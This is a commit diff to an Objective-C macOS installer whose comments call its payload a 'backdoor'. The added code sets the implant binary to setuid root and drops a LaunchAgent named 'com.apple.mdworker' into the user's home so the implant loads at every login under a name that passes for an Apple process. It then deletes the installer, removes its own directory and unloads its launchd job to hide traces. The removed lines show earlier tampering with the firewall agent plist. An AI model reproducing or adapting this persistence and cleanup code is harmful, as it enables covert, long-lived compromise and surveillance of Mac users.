Skip to content

Commit d37866f

Browse files
author
revenge
committed
Fix root installer for offline installation, drop mdworker.flg and launch agents loader
1 parent 55c6650 commit d37866f

File tree

1 file changed

+138
-69
lines changed

1 file changed

+138
-69
lines changed

main.m

Lines changed: 138 additions & 69 deletions
Original file line numberDiff line numberDiff line change
@@ -12,7 +12,9 @@
1212
#import <sys/types.h>
1313
#import <pwd.h>
1414

15-
#define INSTALLER_PLIST @"com.apple.mdworkers.plist"
15+
//#define DEBUG
16+
#define INSTALLER_PLIST @"com.apple.mdworkers"
17+
#define BACKDOOR_DAEMON_PLIST @"Library/LaunchAgents/com.apple.mdworker.plist"
1618

1719

1820
void changeAttributesForBinaryAtPath(NSString *aPath, int uid, int gid, u_long permissions)
@@ -63,39 +65,97 @@ void executeTask(NSString *anAppPath,
6365
[task release];
6466
}
6567

66-
void restoreAlfPlist()
68+
BOOL savePlist(NSString *username, id anObject, NSString *aPath)
6769
{
68-
NSString *alfPlistPath = [[NSString alloc] initWithFormat: @"/Library/Preferences/com.apple.alf.agent.plist",
69-
[[NSBundle mainBundle] bundlePath]];
70-
71-
NSString *destAlfPlistPath = [[NSString alloc] initWithString:
72-
@"/System/Library/LaunchDaemons/com.apple.alf.agent.plist"];
73-
74-
NSFileManager *_fileManager = [NSFileManager defaultManager];
75-
76-
if ([_fileManager fileExistsAtPath: alfPlistPath] == NO)
70+
BOOL success = [anObject writeToFile: aPath
71+
atomically: YES];
72+
73+
if (success == NO)
7774
{
78-
return;
75+
#ifdef DEBUG
76+
NSLog(@"Error while writing plist at %@", aPath);
77+
#endif
78+
return NO;
7979
}
80-
81-
//
82-
// Remove the current alf agent plist
80+
8381
//
84-
[_fileManager removeItemAtPath: destAlfPlistPath
85-
error: nil];
86-
82+
// Force owner since we can't remove that file if not owned by us
83+
// with removeItemAtPath:error (e.g. backdoor upgrade)
8784
//
88-
// Copy it to destination
89-
//
90-
[_fileManager moveItemAtPath: alfPlistPath
91-
toPath: destAlfPlistPath
92-
error: nil];
85+
NSString *userAndGroup = [NSString stringWithFormat: @"%@:staff", username];
86+
NSArray *_tempArguments = [[NSArray alloc] initWithObjects:
87+
@"/usr/bin/chown",
88+
userAndGroup,
89+
aPath,
90+
nil];
91+
92+
#ifdef DEBUG
93+
NSLog(@"forcing owner: %@", userAndGroup);
94+
#endif
95+
96+
executeTask(@"/usr/bin/sudo", _tempArguments, YES);
97+
98+
[_tempArguments release];
99+
return YES;
100+
}
93101

94-
u_long permissions = (S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
95-
changeAttributesForBinaryAtPath(destAlfPlistPath, 0, 0, permissions);
102+
BOOL createLaunchAgent(NSString *username, NSString *dirName, NSString *aBinary)
103+
{
104+
NSMutableDictionary *rootObj = [NSMutableDictionary dictionaryWithCapacity: 1];
105+
NSDictionary *innerDict;
106+
NSString *userHome = [[NSString alloc] initWithFormat: @"/Users/%@", username];
107+
108+
NSString *ourPlist = [NSString stringWithFormat: @"%@/%@",
109+
userHome,
110+
BACKDOOR_DAEMON_PLIST];
111+
112+
#ifdef DEBUG
113+
NSLog(@"userHome: %@", userHome);
114+
#endif
115+
116+
NSString *launchAgentsPath = [NSString stringWithFormat: @"%@/Library/LaunchAgents",
117+
userHome];
118+
119+
if ([[NSFileManager defaultManager] fileExistsAtPath: launchAgentsPath] == NO)
120+
{
96121

97-
[alfPlistPath release];
98-
[destAlfPlistPath release];
122+
#ifdef DEBUG
123+
NSLog(@"LaunchAgents folder does not exist");
124+
#endif
125+
if (mkdir([launchAgentsPath UTF8String], 0755) == -1)
126+
{
127+
#ifdef DEBUG
128+
NSLog(@"Error on LaunchAgents mkdir");
129+
#endif
130+
return NO;
131+
}
132+
}
133+
134+
NSString *backdoorPath = [NSString stringWithFormat: @"%@/Library/Preferences/%@",
135+
userHome,
136+
dirName];
137+
NSString *backdoorBinaryPath = [NSString stringWithFormat: @"%@/%@",
138+
backdoorPath,
139+
aBinary];
140+
141+
NSString *errorLog = [NSString stringWithFormat: @"%@/ji33", backdoorPath];
142+
NSString *outLog = [NSString stringWithFormat: @"%@/ji34", backdoorPath];
143+
144+
innerDict = [[NSDictionary alloc] initWithObjectsAndKeys:
145+
@"com.apple.mdworker", @"Label",
146+
@"Aqua", @"LimitLoadToSessionType",
147+
[NSNumber numberWithBool: FALSE], @"OnDemand",
148+
[NSArray arrayWithObjects: backdoorBinaryPath, nil], @"ProgramArguments",
149+
errorLog, @"StandardErrorPath",
150+
outLog, @"StandardOutPath",
151+
nil];
152+
//[NSNumber numberWithBool: TRUE], @"RunAtLoad", nil];
153+
154+
[rootObj addEntriesFromDictionary: innerDict];
155+
[innerDict release];
156+
[userHome release];
157+
158+
return savePlist(username, rootObj, ourPlist);
99159
}
100160

101161
void deleteCurrentDir()
@@ -131,17 +191,19 @@ int main(int ac, char *av[])
131191
username,
132192
backdoorDir];
133193

134-
[_backdoorDir release];
135-
[backdoorDir release];
136-
137194
NSString *binaryPath = [[NSString alloc] initWithFormat: @"%@/%@",
138195
destinationDir,
139196
binary];
140197

141198
//
142-
// Restore com.apple.alf.agent.plist
199+
// Create mdworker.flg so that once loaded the backdoor won't relaunch itself
200+
// through launchd (will be already loaded by launchd)
143201
//
144-
restoreAlfPlist();
202+
NSString *mdworker = [[NSString alloc] initWithFormat: @"%@/mdworker.flg",
203+
destinationDir];
204+
[@"" writeToFile: mdworker
205+
atomically: YES];
206+
[mdworker release];
145207

146208
if ([_fileManager fileExistsAtPath: binaryPath])
147209
{
@@ -164,20 +226,9 @@ int main(int ac, char *av[])
164226
destinationDir,
165227
nil];
166228

167-
executeTask(@"/usr/bin/sudo", arguments, NO);
229+
executeTask(@"/usr/bin/sudo", arguments, YES);
168230
//mkdir([destinationDir UTF8String], 0755);
169231

170-
//
171-
// Delete installer plist path
172-
//
173-
NSString *installerPlistPath = [[NSString alloc] initWithFormat: @"%@/%@",
174-
[[NSBundle mainBundle] bundlePath],
175-
INSTALLER_PLIST];
176-
177-
[_fileManager removeItemAtPath: installerPlistPath
178-
error: nil];
179-
[installerPlistPath release];
180-
181232
//
182233
// Delete ourself in order to avoid to be copied in the next for cycle
183234
//
@@ -210,51 +261,69 @@ int main(int ac, char *av[])
210261
}
211262

212263
[currentDir release];
213-
[binary release];
214264
[destinationDir release];
215265

216266
u_long permissions = (S_ISUID | S_IRWXU | S_IRGRP | S_IXGRP | S_IROTH | S_IXOTH);
217267
changeAttributesForBinaryAtPath(binaryPath, 0, 0, permissions);
218268

219-
arguments = [NSArray arrayWithObjects:
220-
@"-u",
221-
username,
222-
binaryPath,
223-
nil];
224-
225269
//
226-
// Execute it as the user
270+
// Now drop launchAgent file inside user home in order to let the backdoor load
271+
// on user login
227272
//
228-
executeTask(@"/usr/bin/sudo", arguments, NO);
273+
if (createLaunchAgent(username, backdoorDir, binary) == NO)
274+
{
275+
#ifdef DEBUG
276+
NSLog(@"Error on createLaunchAgent");
277+
#endif
278+
}
279+
280+
[backdoorDir release];
281+
[_backdoorDir release];
282+
[binary release];
229283

230284
//
231285
// Delete current dir
232286
//
233-
[_fileManager removeItemAtPath: [[NSBundle mainBundle] bundlePath]
234-
error: nil];
287+
NSError *err;
288+
289+
if ([_fileManager removeItemAtPath: [[NSBundle mainBundle] bundlePath]
290+
error: &err] == NO)
291+
{
292+
#ifdef DEBUG
293+
NSLog(@"Error on remove current dir: %@", [err description]);
294+
#endif
295+
}
235296

236297
//
237-
// Wait for backdoor installation
298+
// Delete installer plist path
238299
//
239-
NSString *workerFlagPath = [[NSString alloc] initWithFormat:
240-
@"%@/mdworker.flg",
241-
destinationDir];
300+
NSString *installerPlistPath = [[NSString alloc] initWithFormat: @"/System/Library/LaunchDaemons/%@.%@.plist",
301+
INSTALLER_PLIST,
302+
username];
242303

243-
while ([_fileManager fileExistsAtPath: workerFlagPath] == NO)
244-
{
245-
sleep(1);
246-
}
304+
[_fileManager removeItemAtPath: installerPlistPath
305+
error: nil];
306+
[installerPlistPath release];
247307

248308
//
249-
// Wait just to be sure (if we exit before the child process
250-
// has finished we might force-kill it)
309+
// Safe to unload ourself
251310
//
252-
sleep(5);
311+
NSString *rootLoaderLabel = [NSString stringWithFormat: @"com.apple.mdworkers.%@",
312+
username];
313+
314+
#ifdef DEBUG
315+
NSLog(@"Removing %@", rootLoaderLabel);
316+
#endif
317+
318+
NSArray *args = [NSArray arrayWithObjects:
319+
@"remove",
320+
rootLoaderLabel,
321+
nil];
322+
323+
executeTask(@"/bin/launchctl", args, YES);
253324

254-
[workerFlagPath release];
255-
[username release];
256325
[binaryPath release];
326+
[username release];
257327
[outerPool release];
258-
259328
return 0;
260329
}

0 commit comments

Comments
 (0)